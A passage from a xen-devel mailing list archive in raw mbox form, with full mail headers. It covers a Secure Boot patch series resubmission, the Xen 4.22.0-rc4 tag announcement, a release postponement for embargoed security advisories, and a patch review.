 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM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picpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <CAHt6W4cbDh_OFYPxJJy9RiRTCrV3p2OVJ8AL855ixhFKrPm0UA@mail.gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1784098673-F1AAD2AC-DFEBF623/0/0
X-purgate-type: clean
X-purgate-size: 1690

On 15.07.2026 08:40, Frediano Ziglio wrote:
> On Wed, 15 Jul 2026 at 07:24, Jan Beulich <jbeulich@suse.com> wrote:
>>
>> On 15.07.2026 08:22, Frediano Ziglio wrote:
>>> These patches improve support for Secure boot.
>>> UEFI CA memory mitigation requires memory pages to be not executable and
>>> writable at the same time. So changing permissions and splitting some section
>>> is required.
>>> Remove multiboot pieces from EFI executable.
>>>
>>> Changes since v1:
>>> - improved some comments;
>>> - merged 2 pacthes removing multiboot support in x86 PE;
>>> - removed a patch dealing with SBAT;
>>> - other minor changes (see single patches).
>>>
>>> Changes since v2:
>>> - improved some comments.
>>>
>>> Changes since v3:
>>> - Added Acked-by;
>>> - Improve commit message.
>>>
>>> Changes since v4:
>>> - Messages updates;
>>> - Clean some dependencies cause by code removal;
>>> - Add small commit to remove a possibly unused string.
>>>
>>> Changes since v5:
>>> - removed merged commit;
>>> - remove more code/data from xen.efi output.
>>>
>>> Changes since v6:
>>> - fix commit message.
>>>
>>> Changes since v7:
>>> - added Acked-by, all commit are now acked.
>>
>> Forgive me asking, but why did this warrant another re-submission? We've
>> got enough traffic on the list already.
> 
> Because there was an update and because nothing was merged.

The tree isn't fully open yet, so things not having been merged yet isn't an
indication of a problem. Andrew did indicate he'd like to massage some of
the commit messages, so talk to him if you still find things uncommitted a
little while after the tree is fully open again.

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 07:17:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 07:17:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362772.1614520 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjts5-0003FI-7j; Wed, 15 Jul 2026 07:17:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362772.1614520; Wed, 15 Jul 2026 07:17:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjts5-0003FB-5D; Wed, 15 Jul 2026 07:17:33 +0000
Received: by outflank-mailman (input) for mailman id 1362772;
 Wed, 15 Jul 2026 07:17:32 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wjts4-0003Es-5f
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 07:17:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjts2-00CRdK-Mh
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 09:17:30 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5733fb-bab6-0a2a0a5309dd-0a2a45029a46-18
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 09:17:30 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a57340a-6ca4-0a2a45020019-d155dd2de9a6-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 09:17:30 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-47defd0c1c5so1317742f8f.3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 00:17:30 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4950a33a926sm119840585e9.15.2026.07.15.00.17.29
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 15 Jul 2026 00:17:29 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784099850; x=1784704650; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=gPehq+ker6oxXZylSQ4xG7L9FR9cUThlL28wP0uO6II=;
        b=VOiIAeRwYCdtJYcGIT1SvWhb5cegWqzN6B8UG7kr+bxZPyL2hqYsJqeuZJwD29MON3
         CKhhLvFM3Bil8Cg4PO4tC6oCBq04BLN8sTIpwC4t8olGmNU3ScOtiOVJ8eDxH56LfqYr
         avXJ6qcyR/BjVf+0NKFSv+LSWAdlztp2NX11XhIUH382NPlB2DAwtyMinzUDcCXX+sTP
         117m5XwtmK6NuMmCyXHEuIzW8l6pZXXdkHKEodFUSeVUBeNmcCVbW9I7QHuZa2G4+5SD
         /O/GdAeTnK9HbaSuyMEEOwOZcl9ckMh8vqx4x+DzbZcazmmcZX24Xz+AaTtvtKQk7frz
         JGtg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784099850; x=1784704650;
        h=content-transfer-encoding:content-type:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=gPehq+ker6oxXZylSQ4xG7L9FR9cUThlL28wP0uO6II=;
        b=UFReKRBrrLFiNVmlkbaCcS6MTZvowqfdKro4rlqgjxy27HWzqcgd3CHFk+LhqO9iNe
         dHTv7MwpzSH0ZV4+FRqJtQJZWN2KsKa15rMCCwcxxgds5YvZVuBJU6xroNwLuyvf6RKf
         o2kp9v6DSi9hSJu7pnz/HuL+OHUsmvX+FuDdxBUl/eGEJuW1ZnTE/CYFO2YNSeJR6EWf
         rBiGjiwbSTkw5pLSU0Hswgh5FI5PBZnff9SvZmgnHZmiAdWgZE0T60+rmv4tHrzE62cs
         BZzPDUpAHNJJwdnL/l41LcOLu+i0BLjSuTQOfIcgWUmP2fLAFZS0ssmBgat91SMyrwKq
         TklA==
X-Gm-Message-State: AOJu0YwGQ0YEvYW1NsjqYCxYXlZ8yopMagan37JSklXi3iduVx93CoBD
	flZaBOB4Q67UiKRmDEdXQaCwPwIhD5+Kh01h9OOwZduKCP2GLOOhBwLtyUes9Q==
X-Gm-Gg: AfdE7ckJxOlekG4b84P+GO+viDP/N5+h+Kfr51SwYCH0FfOvCq8FMZ4/upZSF2/n4q5
	iUc0vdsoYSl2ZWQ5tk4lnGPlmVx9Z7lhaVYtS82bkg9co9j+f+pkboizrRFSO4PnSCz5GorD29R
	DduvgJlBGvTx0/4ehP99k4S9XiZk7nK9tI69piO+N/lyKdJmK4nQVBNV6DvSpe6gXeVAuIUF3JZ
	seueYr4Oi4QjUGIDKy60gid+FGyCSiydbCrXn3n8XtofePJRK1xmDsVRB2PvH7HfiBEYxQ/I31+
	VWt3DzyHwaSIA2A5dl6xX+br9ugxwGdIMwYLgjYFkDbeTJk03viwdt55BJOpNmgkzoD206R3l7V
	WQ+x/2RpqdD2XPvavB2Qq1jvUZkf2RChwWHWL/ARuhEXRLmDNdwPrdYVtRLIFxT3ajffKHaSwE4
	QxF3ENQp7fFu227kg7Gd+LvPQTcEdnWpYeDtCDRRAvXeqtqGs8jVE6t8mDc7yRGAnk8uE=
X-Received: by 2002:a05:600c:45c3:b0:495:3e08:ad19 with SMTP id 5b1f17b1804b1-4953e08adb6mr6511245e9.9.1784099849599;
        Wed, 15 Jul 2026 00:17:29 -0700 (PDT)
Message-ID: <ba151020-55ee-4df3-ad40-5d889b19d8ab@gmail.com>
Date: Wed, 15 Jul 2026 09:17:28 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Community Manager <community.manager@xenproject.org>,
 "committers@xenproject.org" <committers@xenproject.org>
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: [ANNOUNCEMENT] Xen 4.22.0-rc4 is tagged
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1784099850-31BC82AC-87142A1E/10/73395122804
X-purgate-type: spam
X-purgate-size: 420

Hello everyone,

Xen 4.22 rc4 is tagged. You can check that out from xen.git:
git://xenbits.xen.org/xen.git 4.22.0-rc4

For your convenience there is also a tarball and the signature at:

https://downloads.xenproject.org/release/xen/4.22.0-rc4/xen-4.22.0-rc4.tar.gz

And the signature is at:

https://downloads.xenproject.org/release/xen/4.22.0-rc4/xen-4.22.0-rc4.tar.gz.sig

Have a nice day!

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 07:24:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 07:24:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362785.1614531 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjtzC-0004wG-2Y; Wed, 15 Jul 2026 07:24:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362785.1614531; Wed, 15 Jul 2026 07:24:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjtzB-0004w9-Tx; Wed, 15 Jul 2026 07:24:53 +0000
Received: by outflank-mailman (input) for mailman id 1362785;
 Wed, 15 Jul 2026 07:24:52 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wjtzA-0004w3-Gu
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 07:24:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjtz9-002GcI-Tg
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 09:24:51 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5735b1-2eae-0a2a0a5409dd-0a2a4503b4cc-44
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 09:24:51 +0200
Received: from [209.85.221.53] (helo=mail-wr1-f53.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5735c3-fae8-0a2a45030019-d155dd35e48f-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 09:24:51 +0200
Received: by mail-wr1-f53.google.com with SMTP id
 ffacd0b85a97d-470174001a0so916713f8f.0
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 00:24:51 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f464d6fa7sm13890315f8f.37.2026.07.15.00.24.50
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 15 Jul 2026 00:24:50 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784100291; x=1784705091; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=h8G81wEFX++uMuj4xtPbL7BBy8MBUfXYEBGWYEtIBVY=;
        b=fSes+lcFjTIa36hYi0I1LmoQOLvHJ6YUt/VIkEs9Ml568a/VCkP3m4cyHjipTAIBcr
         MCfgpbBcWsUZoCaexQwi9TPtWHAfcOFWWJ6kUPYL/htPJW/coYKWPKSqT1GYljE1hXob
         gKyJB9tIZUiSsOvYpk3FSMI1cUhQufAPyfkxEsPkf6UEsHkxJCfTu/xp8K/rWZk1NdyT
         lgUIQe1RVulyyTdZxOwxs4IUijP397/LOjroFXvCHTP5wmJENifbDI4lPkuyhfZtYKyp
         AmRWUZq3sk342F/dC+xf4WCPTBiKgYW0tsGGuDl00Ww2q3MXjjaQ3A/ICqEQLfZ7gNlO
         p/dw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784100291; x=1784705091;
        h=content-transfer-encoding:content-type:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=h8G81wEFX++uMuj4xtPbL7BBy8MBUfXYEBGWYEtIBVY=;
        b=Rmu5Mk9CF2iTPVnxD2wR9q9ax9uhYj7unXtfSjZaZvm7loHC9LWHPC1k+Di7d/O+Tn
         BRdWQ2FP0R/eGi4IWQnnzS9dreX1UsFXBrbQZmRPCWhSOdhnLFKroXXJAoHYxc8ON0EN
         X6TZHK2GMFjV+ll5Srb5pNWbrUzWhqF+MT0Zu3XXdXG6EV3z1c9JJRkHrlH4vgg3KZ0+
         gu4UTfd4fGzwmWNvqk2AXlC/7DSi6+1BgFqqO9Nsb60XpiGY4RAZwAmITUGxLb/4kpEI
         CF62cM5nD03j6HyfYvN78PIipol7v4uGFAABJ2z4ZKy/+pq8Yd7glUm+cHtyNMJYXaAV
         CqZQ==
X-Gm-Message-State: AOJu0YwJrILZI++FJLAXPGMLQsOAwzYlAuHVmkb8BEkuRUQ9V7mSe6J8
	x5QkMJs1ZuhVJg9VR0Rv1r4Ar+S3VQXKCYPDvUkN56axw2fSRvwn7BX2oCrhbg==
X-Gm-Gg: AfdE7cka/nRunfyPFqJzov3no/n6trAsEF7qP+pnQ1wWBD+11ghG2KFyf3Xa+EB14bV
	16/Qj/PCdPZqQFYVOW8Bb1wSbnwVqvrRCga07v3Rl2gi8e1Mq0DNFQvgYT57lT/pHa+uV7gqcKt
	w0EtWfY6srVBZ7X5zgmrpbTf0+cSkA6uLFmG2pW845vl+uDQw9ckOwK0xH/gPLD+oL6egESZRdC
	0AEGdY5eyZ74z2goQz2o8UrjM3OvsJ6ZSW4pOlEGSpwwmf7u9+oAHorrmANcQHp0xSOriefRvPg
	clm7D08LMQoS+tciOOYwq8HgQNljnpm0mpglTa+nKM3OfTYst2xQik8905OU2I0dksGol1BENPw
	2Mol5K+btUuVVcHtj1YzQnKyGgARzFKX+Qb7SscvPCFzxnxfm9fx3OZyno78vxVsm+jyqSaVQeD
	tCwdugKnCKX/5Mb1kWsTxSSYF115oxcUuRFlS4ox5s/OyJ8iGDMs7M734Zv6Okorc+DII=
X-Received: by 2002:a05:6000:471c:b0:479:e6a8:c0f1 with SMTP id ffacd0b85a97d-47f2dc8d79fmr16470155f8f.9.1784100291178;
        Wed, 15 Jul 2026 00:24:51 -0700 (PDT)
Message-ID: <e88d25a6-8d2e-49a6-9cac-702251bb8df2@gmail.com>
Date: Wed, 15 Jul 2026 09:24:50 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Community Manager <community.manager@xenproject.org>,
 "committers@xenproject.org" <committers@xenproject.org>
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Xen 4.22 Release Postponed to 30 July
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1784100291-6F4C74E9-95783E1E/10/73395122804
X-purgate-type: spam
X-purgate-size: 431

Hello everyone,

The Xen 4.22 release has been postponed to 30 July.

The reason for the delay is that a set of Xen Security Advisories (XSAs) 
has been pre-disclosed under the standard two-week embargo. To ensure 
that the security fixes are included in the public release and become 
available at the same time the embargo expires, the Xen 4.22 release 
date has been moved accordingly.

Have a good day.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 09:21:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 09:21:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362837.1614547 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjvo7-000394-M4; Wed, 15 Jul 2026 09:21:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362837.1614547; Wed, 15 Jul 2026 09:21:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjvo7-00038x-JC; Wed, 15 Jul 2026 09:21:35 +0000
Received: by outflank-mailman (input) for mailman id 1362837;
 Wed, 15 Jul 2026 09:21:33 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6514cc99000edb5@swg.vates.tech>)
 id 1wjvo5-00038r-5X
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 09:21:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjvo4-00ARlL-As
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 11:21:32 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6514cc99000edb5@swg.vates.tech>)
 id 6a575111-5cb7-0a2a0a5109dd-0a2a4503a18e-48
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 11:21:32 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6514cc99000edb5@swg.vates.tech>)
 id 6a57511b-fae8-0a2a45030019-b9ff1c23abb3-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 11:21:31 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f6514cc99000edb5.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 15 Jul 2026 09:21:29 +0000
Received: from l14 (areims-651-1-80-194.w90-18.abo.wanadoo.fr [90.18.187.194])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id EAD98822DC;
 Wed, 15 Jul 2026 11:21:28 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=WDh/ttfnnuz5C/DyzqJRGD6ci8fLLIEcwOWx+8a+02s=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=GUokjIQR6q9CDURRGLmkPvTCkXFMbW2k/9f5hbnP8hHpsBfqn4YjUY+ddpz8XpVi0gQXY3n8z
 56e2zOFppy9NAYSLk9JroNgidIt9xjbG5cjyvXMrf0boPOdxX2fvtka+lqpPvGEMHnuWlRq2BBx
 q+v3yAPRiynfPPMFKjpRyDHFAcAkubpQgOC1CXQSRCOMsyT0YnyMgX5CcMniKLYGuVcCgxqeZqG
 KxftQUa2e3RBwuzsVsknXHLBCcO53WM9ilreXu02yfXMU4io4M8MmpskgcxtNn6qgz1RpYSSbP8
 hn+qGdHaMsTLo7wiPgbdEoyCd+q2UdgOliFOY4BWiCxQ==
X-Zone-Loop: 684d33fdfb6e01cf5e3e5cb62ba883bbb2098b5b8eea
x-campaign-type: default
x-transaction-id: c751403d-7fec-41dd-b11d-f36e5204321e
x-swg-uid: 01-0a8b20cb-c121-4581-882c-762fe9ac08ce
X-Mailer: Sweego
Message-ID:
 <1784107289.8631fc262581453bbf619ec5b2062170.19f6514cc99000edb5@vates.tech>
x-swg-bid: 1784107289.8631fc262581453bbf619ec5b2062170.19f6514cc99000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 15 Jul 2026 11:21:28 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Edwin =?iso-8859-1?B?VPZy9ms=?= <edwin.torok@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: Re: [PATCH v9 3/4] libs/guest: allocate various migration arrays
 just once
References: <20260713204802.105115-1-frediano.ziglio@citrix.com>
 <20260713204802.105115-4-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260713204802.105115-4-frediano.ziglio@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.81d.ddc5bc79ec70dd0a.19f6514ca0f.342b20155e628d32=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784107289103
X-purgate-ID: tlsNG-33051d/1784107292-754844E9-53CABF43/0/0
X-purgate-type: clean
X-purgate-size: 810

---=Part.81d.ddc5bc79ec70dd0a.19f6514ca0f.342b20155e628d32=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Mon, Jul 13, 2026 at 09:48:01PM +0100, Frediano Ziglio wrote:
> From: Edwin T=C3=B6r=C3=B6k <edwin=2Etorok@citrix=2Ecom>
>=20
> Allocate these array just once at the start of migration,
> using the maximum batch size, and free them at the end=2E
>=20
> Signed-off-by: Edwin T=C3=B6r=C3=B6k <edwin=2Etorok@citrix=2Ecom>
> Signed-off-by: Frediano Ziglio <frediano=2Eziglio@citrix=2Ecom>

Reviewed-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.81d.ddc5bc79ec70dd0a.19f6514ca0f.342b20155e628d32=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 10:49:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 10:49:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362914.1614713 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjxAi-0005jP-AE; Wed, 15 Jul 2026 10:49:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362914.1614713; Wed, 15 Jul 2026 10:49:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjxAi-0005jI-6A; Wed, 15 Jul 2026 10:49:00 +0000
Received: by outflank-mailman (input) for mailman id 1362914;
 Wed, 15 Jul 2026 10:48:58 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper3@citrix.com>) id 1wjxAg-0005jC-Mn
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 10:48:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjxAf-00EURi-Oo
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 12:48:57 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a576574-e002-0a2a0a5209dd-0a2a4506d290-46
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 12:48:57 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a576599-195a-0a2a45060019-d155dd34f06c-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 12:48:57 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-47f36a122fdso2132245f8f.2
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 03:48:57 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4950a33a926sm131822985e9.15.2026.07.15.03.48.55
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Wed, 15 Jul 2026 03:48:56 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
